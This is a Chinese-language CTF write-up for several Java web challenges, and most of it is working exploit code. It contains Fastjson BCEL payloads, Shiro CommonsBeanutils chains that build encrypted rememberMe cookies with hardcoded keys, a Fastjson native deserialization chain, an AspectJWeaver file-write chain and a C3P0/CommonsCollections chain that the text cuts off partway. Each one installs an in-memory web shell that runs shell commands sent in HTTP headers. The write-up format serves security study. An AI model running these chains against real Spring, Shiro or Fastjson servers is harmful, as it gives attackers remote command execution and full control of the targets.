 Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
 Method v1 = v0.getMethod("getRequestAttributes");
 Object v2 = v1.invoke(null);
 v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
 v1 = v0.getMethod("getResponse");
 Method v3 = v0.getMethod("getRequest");
 Object v4 = v1.invoke(v2);
 Object v5 = v3.invoke(v2);
 Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
 Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
 v7.setAccessible(true);
 v6.setAccessible(true);
 Object v8 = v6.invoke(v4);
 String v9 = (String) v7.invoke(v5,"cmd");
 String[] v10 = new String[3];
 if (System.getProperty("os.name").toUpperCase().contains("WIN")){
 v10[0] = "cmd";
 v10[1] = "/c";
 }else {
 v10[0] = "/bin/sh";
 v10[1] = "-c";
 }
 v10[2] = v9;
 v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next());
 v8.getClass().getDeclaredMethod("flush").invoke(v8);
 v8.getClass().getDeclaredMethod("clone").invoke(v8);
 } catch (Exception var11) {
 var11.getStackTrace();
 }
 }
}

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class FastjsonBCEL {
 public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
 JavaClass javaClass = Repository.lookupClass(SpringEcho.class);
 String code = Utility.encode(javaClass.getBytes(), true);
 //Class.forName("$$BCEL$$"+code,true,new ClassLoader());
 System.out.println(code);
 new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();

 }

因为是用parse，payload

{
 {
 "@type": "com.alibaba.fastjson.JSONObject",
 "x":{
 "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
 "driverClassLoader": {
 "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
 },
 "driverClassName": "$$BCEL$$"
 }
 }: "x"
}

PolarOA

存在Shiro反序列化

但是爆破不出利用链

这里对cookie的长度做了限制，需要小于3500个字符

打无CC链的CB链就行，通过DynamicClassGenerator生成恶意内存马

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;

public class DynamicClassGenerator {
 public CtClass genPayloadForWin() throws NotFoundException, CannotCompileException, IOException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass("Exp");

 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
 " try {\n" +
 " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
 " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
 " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
 "\n" +
 " String te = httprequest.getHeader(\"Host\");\n" +
 " httpresponse.addHeader(\"Host\", te);\n" +
 " String tc = httprequest.getHeader(\"CMD\");\n" +
 " if (tc != null && !tc.isEmpty()) {\n" +
 " String[] cmd = new String[]{\"cmd.exe\", \"/c\", tc}; \n" +
 " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
 " httpresponse.getWriter().write(new String(result));\n" +
 "\n" +
 " }\n" +
 " httpresponse.getWriter().flush();\n" +
 " httpresponse.getWriter().close();\n" +
 " } catch (Exception e) {\n" +
 " e.getStackTrace();\n" +
 " }\n" +
 " }", clazz));

 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }
 public CtClass genPayloadForLinux() throws NotFoundException, CannotCompileException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass("Exp");

 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
 " try {\n" +
 " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
 " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
 " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
 "\n" +
 " String te = httprequest.getHeader(\"Host\");\n" +
 " httpresponse.addHeader(\"Host\", te);\n" +
 " String tc = httprequest.getHeader(\"CMD\");\n" +
 " if (tc != null && !tc.isEmpty()) {\n" +
 " String[] cmd = new String[]{\"/bin/sh\", \"-c\", tc};\n" +
 " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
 " httpresponse.getWriter().write(new String(result));\n" +
 "\n" +
 " }\n" +
 " httpresponse.getWriter().flush();\n" +
 " httpresponse.getWriter().close();\n" +
 " } catch (Exception e) {\n" +
 " e.getStackTrace();\n" +
 " }\n" +
 " }", clazz));
 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }
}

import org.apache.shiro.codec.Base64;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test {
 public static void main(String[] args) throws Exception {
 DynamicClassGenerator classGenerator =new DynamicClassGenerator();
 CtClass clz = classGenerator.genPayloadForLinux();
 TemplatesImpl templates = (TemplatesImpl) getTemplates(clz.toBytecode());

 //shiro无依赖利用链，使用shiro1.2.4自带的cb 1.8.3
 BeanComparator Beancomparator = new BeanComparator();
 PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator);
 queue.add(1);
 queue.add(2);

 setValue(Beancomparator,"property","outputProperties");
 setValue(queue,"queue",new Object[]{templates,templates});
 setValue(Beancomparator, "comparator", String.CASE_INSENSITIVE_ORDER);

 //序列化
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(queue);

 AesCipherService aes = new AesCipherService();
 byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
 byte[] bytes = byteArrayOutputStream.toByteArray();

 ByteSource ciphertext;
 ciphertext = aes.encrypt(bytes, key);
 System.out.println(ciphertext);
 }


 public static Object getTemplates(byte[] bytes) throws Exception {
 Templates templates = new TemplatesImpl();
 setValue(templates, "_bytecodes", new byte[][]{bytes});
 setValue(templates, "_name", "p0l1st");
 setValue(templates, "_tfactory", new TransformerFactoryImpl());
 return templates;
 }

 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
}

注意CB版本为1.8.3

ezJson

fastjson1.2.83

/read路由

@RequestMapping({"/read"})
 @ResponseBody
 public String getUser(String data) throws Exception {
 if (data == null) {
 throw new IllegalArgumentException("Data cannot be null");
 }
 byte[] b = Base64.getDecoder().decode(data);
 if (b == null) {
 throw new IllegalArgumentException("Decoded data cannot be null");
 }
 InputStream inputStream = new ByteArrayInputStream(b);
 if (inputStream == null) {
 throw new IllegalArgumentException("Input stream cannot be null");
 }
 ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
 Object obj = objectInputStream.readObject();
 JSONArray dataArray = new JSONArray();
 JSONObject item = new JSONObject();
 item.put("code", (Object) 200);
 item.put(BindTag.STATUS_VARIABLE_NAME, (Object) "success");
 item.put("obj", (Object) JSON.toJSONString(obj));
 dataArray.add(item);
 return dataArray.toJSONString();

打fastjson原生反序列化

package cn.p0l1st;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;

public class Test2 {
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

// public static byte[] genPayload(String cmd) throws Exception{
// ClassPool pool = ClassPool.getDefault();
// CtClass clazz = pool.makeClass("a");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
// CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
// constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
// clazz.addConstructor(constructor);
// clazz.getClassFile().setMajorVersion(49);
// return clazz.toBytecode();
// }
 public static byte[] genPayload() throws Exception{
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody(
 "{\n" +
 " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
 " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
 " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
 " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"Cmd\")};\n" +
 " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
 " httpresponse.getWriter().write(new String(result));\n" +
 " httpresponse.getWriter().flush();\n" +
 " httpresponse.getWriter().close();\n" +
 "}"
 );
 clazz.addConstructor(constructor);
 clazz.getClassFile().setMajorVersion(49);
 return clazz.toBytecode();
 }

 public static void main(String[] args) throws Exception{


 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, "_bytecodes", new byte[][]{genPayload()});
 setValue(templates, "_name", "1");
 setValue(templates, "_tfactory", null);

 JSONArray jsonArray = new JSONArray();
 jsonArray.add(templates);

 BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
 setValue(bd,"val",jsonArray);

 HashMap hashMap = new HashMap();
 hashMap.put(templates,bd);
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(hashMap);
 objectOutputStream.close();
 System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));

// ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();



 }
}

PolarOA2.0

弱口令admin admin123登录

存在端点泄露，actuator/env actuator/heapdump

分析heapdump，找到Shiro key PBgMSEv6Wsc4XVmSJuR60A==

爆破找不到利用链，猜测还是和上一道题一样限制了cookie的字符长度

还是打CB链

package CB;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;



public class CBMem2 {
 public static void main(String[] args) throws Exception {
 final TemplatesImpl templates = getTemplate();

 final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

 final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

 queue.add("1");
 queue.add("1");

 setFieldValue(comparator,"property","outputProperties");
 setFieldValue(queue,"queue",new Object[]{templates,templates});

 // ==================
 // 生成序列化字符串
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(queue);
 AesCipherService aes = new AesCipherService();
 byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("PBgMSEv6Wsc4XVmSJuR60A=="));//shiro默认密钥
 byte[] bytes = byteArrayOutputStream.toByteArray();
 System.out.println(aes.encrypt(bytes, key));
 }
 public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass("A");
 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make("public A() throws Exception {\n" +
 " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
 " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
 " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
 " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
 " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
 " httpresponse.getWriter().write(new String(result));\n" +
 " httpresponse.getWriter().flush();\n" +
 " httpresponse.getWriter().close();\n" +
 " }", clazz));
 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }
 public static TemplatesImpl getTemplate() throws Exception {
 CtClass clz = genPayloadForLinux2();
 TemplatesImpl obj = new TemplatesImpl();
 setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
 setFieldValue(obj, "_name", "a");
 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

 return obj;
 }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }

}

注意CB版本改成1.9.4

 <dependency>
 <groupId>commons-beanutils</groupId>
 <artifactId>commons-beanutils</artifactId>
 <version>1.9.4</version>
 </dependency>

一写一个不吱声

题目描述：

clesses，你也许需要知道$JAVA_HOME? Java反序列化漏洞+特殊情况下的springboot任意文件写rce

F12 base64解码

小T在学习JAVA的时候遇到了一个问题：SpringBoot的任意文件写如何才能RCE？
我在服务器某个地方创建了一个文！件！夹！，然后在服务器上部署了这个JAVA项目，小T说这个JAVA项目虽然有反序列化漏洞但是你没链子你怎么打，我不信你能RCE。

那么现在请你来试试，怎么才能RCE让小T不吱声呢？

再看依赖，存在aspectjweaver1.9.5，并且/read路由可以直接反序列化

aspectjweavery有任意文件写入，参考AspectJWeaver反序列化利用链

但是上面触发SimpleCache$StoreableCachingMap的put方法是通过LazyMap的get方法，这里没有CC依赖

我们可以看到UserBean中重写了readObject，这里可以代替CC依赖的LazyMap，并且内容都是可控的

那么就解决了写任意文件链子的问题，但是我们应该往哪里写，写什么？

提示说了，这个Java项目在某个文件夹下，猜测这个文件夹是$JAVA_HOME/jre/classes，我们就可以往里面写一个实现Serializable并且重写readObject方法的恶意类，最后通过反序列化进行RCE

至于为什么是$JAVA_HOME/jre/clesses

根据类的双亲委派模型，类的加载顺序会先从Bootstrap ClassLoader的加载路径中尝试加载，当找不到该类时，才会选择从下一级的ExtClassLoader的加载路径寻找，以此类推到引发加载的类所在的类加载器为止。

我们可以通过System.getProperty("sun.boot.class.path")来看

这里的D:\JavaEnviron\jdk1.8.0_65\jre\classes对应的就是$JAVA_HOME/jre/clesses，我们需要加载的类如果在这个路径下存在就可以被加载

题目环境的$JAVA_HOME可以通过给的镜像名，/usr/lib/jvm/java-8-openjdk-amd64/jre/

注意题目还是不出网，jdk版本小于8u251通过BCEL来回显

Exp

package com.p0l1st;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class AspectJWeaverExp {
 public static void main(String[] args) throws Exception {
 //反射获取构造函数
 Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
 con.setAccessible(true);
 //实例化对象
 HashMap map = (HashMap)con.newInstance("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/", 1);//路径
 Constructor constructor = Class.forName("com.polar.ctf.bean.UserBean").getDeclaredConstructor();
 constructor.setAccessible(true);
 //反射修改值
 Object userBean = constructor.newInstance();
 setFieldValue(userBean,"obj",map);
 setFieldValue(userBean,"name","EvilEcho.class");
 //恶意类
 String payload = FiletoBase64("D:\\Project\\JavaSec\\Aspectjweaver\\src\\main\\java\\com\\p0l1st\\EvilEcho.class");
 setFieldValue(userBean,"age",payload);

 serialize(userBean);

 }
 public static String FiletoBase64(String filename) throws IOException {
 byte[] bytes = Files.readAllBytes(Paths.get(filename));
 String encode = Base64.getEncoder().encodeToString(bytes);
 return encode;
 }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }
}

import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.Base64;

public class EvilEcho implements Serializable {
 public static void main(String[] args) {
 try {
 Class<?> evilClass = EvilEcho.class;
 Object evilInstance = evilClass.getDeclaredConstructor().newInstance();
 ByteArrayOutputStream btout = new ByteArrayOutputStream();
 ObjectOutputStream objOut = new ObjectOutputStream(btout);
 objOut.writeObject(evilInstance);
 System.out.println(new String(Base64.getEncoder().encode(btout.toByteArray())));
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
 private void readObject(ObjectInputStream ois) throws Exception {
 String code = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9w$TU$Y$ff$dd6$c9L$a7SJ$d3$966$y$d2$b2$s$F$S$caN$5b$95$d2$82E$da$82$a4PKA$9dNo$9b$a1$93$9903$v$F$f7$5dq$c3$NE$dc$Q$V$3d$3e$f1$S8z$e0$f8$ec$83$be$f8$ea$93O$fa$e2$7f$m$7e7$93$40$d2$W$b5$e7$f4$bb$f7$7e$fb$9e$f9$e9$ef$efo$C$d8$82o$VT$e1$a0$82$87pH$80$a4$8c$n$F$87qD$c6$b0$84$87$VH$Y$91pT$c1$u$8e$c98$$$e3$R$Z$8f$caxL$86$shc2t$Z$e3$S$b8$e0$98$901$v$p$a5$c0$c0$J$F$f5$98$92a$8a3$z$c3$92a$cb$c8$Ic$te8$S$5c$F$k$b2$CL$x8$85$Z$F$z8$z$e3$8c8$l$X$e0$J$ZO$caxJ$c2$d3$K$da$f0$8c$84g$ZB$5d$86ex$f71TFcG$Y$C$3d$f68g$a8$ed7$y$3e$98M$8fqgH$h3$J$T$ee$b7u$cd$3c$a29$86x$X$90$B$_e$b8$82$a6$db$e9Df$a3$d9$eez$89d$8a$9bf$t$83$dc$a5$9b$F$d5$V$d3$h$Z$ea$faOh$d3Z$c2$d4$ac$c9D$8f$a9$b9n$a7$m$b43$y$$$n8$7c$c2$e4$ba$97$Y$e0$5e$ca$k$cfsl$S$fa$efp$i$Y$3bA$My$caf$B$b6$I$b0U$80m$Cl$X$60$87$A$3b$cb$e5$92$9ecX$93$qW9$ddN$de$d4$8f$ceG$LNkN$3b$b9$d4XB$dc3$a3$f3$8cg$d8$W$d1k$92$9e$a6O$Nh$99$7c$fcTL$J$cfQ$v$a9V$Sz$v$ad$MJ$d2$ce$3a$3a$dfk$88$f4$u$f9$5c$c4$85$$$V$h$Q$97$f0$bc$8a$X$f0$a2$8a$97$f02C$97$edL$c6$dd$8c$b0$3d$e1hi$7e$cav$a6$e2$a7$f8X$5c$b7$z$8f$cfxq$87$9f$ccr$d7$8b$l$f2$cf$k$l$ddg$9b$e3$9c$ca$fd$8a$8aWq$96$a1a$92$7b$F$8en$8f$o$Z$cbz$9c$8aR$3b$x$dd$w$5e$c3$eb$M$Lg$a7$92BP$f1$G$ded$d8$f5$7f$fdIrg$da$9c$d7hu$de$X7c$5b$ae$88$ff$8eg$M$cb$84$e1$99$b8$eb$cb$de$d1Qd$ae$o$e6a$c7$f0$b8$a3$e2$z$e1$e9$ear$81$94$e7e$e2$7d$E$ca$ad$fb$82$7d$5c$a3$9c$94E$e7$XU$c59$bcME$d7$d3$e3$M$92$ed$c6$z$KL$c2$3b$w$de$c5$7b$w$de$c7y$o$O$ef$hT$f1$B$3e$a4$b6I$e8$c4$96$Y3$ac$84$9b$a2$e7$G$5d$c5$F$7cD8$91$W$cf$b4$a8$8f$f3$s$b2$9ea$s$92$bafY$a2$U$XU$7c$8cOT$7c$8a$cf$q$7c$ae$e2$S$be$Q$F$bfL$g$8eu$ab$f8$S_$a9$f8Z$98$KN$98Y$a18$a8$9b$b6EA$d7$cf$d3g$w$ae$e0$h$Ke$f6L14$dfmP$ca$C$lJ9$94$NjV$3d$eb8$dc$f2$8a$ef$86h$ac$7f6$X$f5t$p$a5$af$d0Y$f9$3e$e9$b7$fdTF$ca$d8KHBf$5e$C$95$c2$a4K$kC$e5$8b$ce$9d$b09$g$3b$fd$f2$V$a3$d85$8f$cc$e8$i$99$d8$bf$z$8c$90aM$dbS$94$da$9d$d1$b9$5bct$$$w6$dfn$a9$p$9fz$b9nj$O$l$_$faV$e3r$af$5b$d7$b9$eb$g$fe$ee$8b$k$V$L$b3$b4$e3N$bb$kO$fbCp$d0$b13$dc$f1N3$ac$f9$8f$3c$dc$5e$3e$d5$9e$7d8CB$3d$9a$Y$87$f2j$ddf$92$c5$yj$86E$J$5eR$aa$b8$t$a59I1$R$96$ce$3bcG$89Q$94$d5$afD$fd$dcJv$W$fb8$8f$3a$94$b5$3c$p$5d$i$d8$e2$a3$b1L$ac$80$s$c1$A$9f$e14$r$d1$e8$3c$x$b4T$82R$m$b2Un$aa$80dX$40$a6$f6Y$99$acG$92$5c$a3$ac5$V$cd$Zv$a2$84$40$e2$cd$d1y$J$o$fbj$d6$e5$bd$dc4$d2bo0$ac$bd$7b$aeK$HV$EaQ$bfSQ$c9$8b$fcN$lr4$9dbn$89$c6$ca$a3$w$92$f6$98$3cM$b3$d4$89V$ac$a7$l$5c$f1W$B$s$96$3a$c1$E$bd$St2$3a$83m$d7$c0$ae$e6$c9$h$J$86$f2$c8$Q$da$J$aa$3e$D6a3$9d2$7d$v$U$84$x$be$p$95$d5$A$d3$af$a3$o$87$cap$m$87$e0$fe$b6p$a8$f2$G$a4$i$e4$feu$8cnU9$u$D$F$86j$9fA$z2$b4$85k$K$d7$c1u$eb$L$bc$j$81$N$b7$af$c1$82$dc$C$92$L$d7$fa$ac$L$3bB$Fl$9d$c0$86$D$84$j$a9$M$d7$t$FI$8aH$e4DC$q$e4$c3H$a0$a8I$8eH$91$m$b1V$Rk$p$b1$w$3f$a2$be$a3$wt$83$a0$S$5et$jM94$87$p9$y$be$80pD$R$3c$R$r$Q$5e$92$bc$82Z$f1$5c$9a$7f$$$p$Y$8cT$r$pr$O$f7$84$97$97Z$8e$c8$be$f2$l$d02r$j$ad$R$r$87$V9$ac$bc$86U$e1$d59$ac$c9a$ad0$3a$ecKF$L$91D$e4$82$7b$F$7cl$O$fe$K$aa$f6$b7$e5$b0n$f8$aa$u$C$ha$c7$e8$L$a82_$o$HK$JVQy$U4Q$ZZ$nvw$Nv$60$BzP$8bA$y$c4$I$ea$60$p$8c$b3$f4$e9u$O$N8$8fF$5c$c6$oP$bc$b8$89f$fc$8c$I$7e$c5b$fcF$ba$7e$c72$fc$81$e5$f8$L$z$y$86V$d6$8d$Vl$E$ab$c9$e2Jv$i$ab$d8$Y$d6$e4$db$e1$M$d9Q$d9$A$b6b$h$bd$9a$d8nl$t$9b$8c$qv$60$t$3a$a8$81z$d8$ot$S$ae$S$83$ac$g$5d$84$L$60$84$dc$bf$97nA$f2$e7O$dcG$d4$Qy$f5$L$ee$a7$9bD$3e$e5$b0$8b$a82yv$J$dd$d8Mq$dd$c4E$8a$a3$X$KY$Pb$P$f6$92$b5$H$e8$7f$h$C$b7$c8$e1j$J$7d$S$f6Ix$b0$I$fd$8b$7f$df$_$a1$l$a8$beEY$a2$b4I$Y$I$92$87$83$f9$f6$3e$f0$P$a0V$dbq$f1$K$A$A";
 //new ClassLoader().loadClass(code).newInstance();
 ClassLoader classLoader = (ClassLoader) Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader").getDeclaredConstructor().newInstance();


 Method loadClassMethod = classLoader.getClass().getMethod("loadClass", String.class);


 Class<?> loadedClass = (Class<?>) loadClassMethod.invoke(classLoader, code);
 loadedClass.newInstance();
 }
}

这里的BCEL回显可以用

import java.lang.reflect.Method;
import java.util.Scanner;

public class Shell {
 static {
 try {
 Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
 Method v1 = v0.getMethod("getRequestAttributes");
 Object v2 = v1.invoke(null);
 v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
 v1 = v0.getMethod("getResponse");
 Method v3 = v0.getMethod("getRequest");
 Object v4 = v1.invoke(v2);
 Object v5 = v3.invoke(v2);
 Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
 Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
 v7.setAccessible(true);
 v6.setAccessible(true);
 Object v8 = v6.invoke(v4);
 String v9 = (String) v7.invoke(v5,"cmd"); //请求头传参
 String[] v10 = new String[3];
 if (System.getProperty("os.name").toUpperCase().contains("WIN")){
 v10[0] = "cmd";
 v10[1] = "/c";
 }else {
 v10[0] = "/bin/sh";
 v10[1] = "-c";
 }
 v10[2] = v9;
 v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next());
 v8.getClass().getDeclaredMethod("flush").invoke(v8);
 v8.getClass().getDeclaredMethod("clone").invoke(v8);
 } catch (Exception var11) {
 var11.getStackTrace();
 }
 }
}

Note

这里先传入我们的Exp写class，然后再传入我们的EvilEcho，对其进行反序列化从而触发readObject执行我们的回显马

并且EvilEcho不要有包名

SnakeYaml

/load路由存在snakeyaml反序列化

public class LoadController {
 @PostMapping({"/load"})
 public Object load(String data) {
 System.out.println("Received data: " + data);
 Yaml yaml = new Yaml();
 return yaml.load(data);
 }
}

依赖

结合题目描述，打C3P0二次反序列化，无回显不出网，还需要打内存马

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class SnakeYaml_C3p0 {
 public static Map CC11() throws Exception {
 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate();
 InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
 HashMap<Object,Object> map = new HashMap<>();
 Map<Object,Object> innerMap = LazyMap.decorate(map, new ConstantTransformer(1));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, templates);
 HashMap<Object, Object> hashMap = new HashMap<>();
 hashMap.put(tiedMapEntry, "bbb");
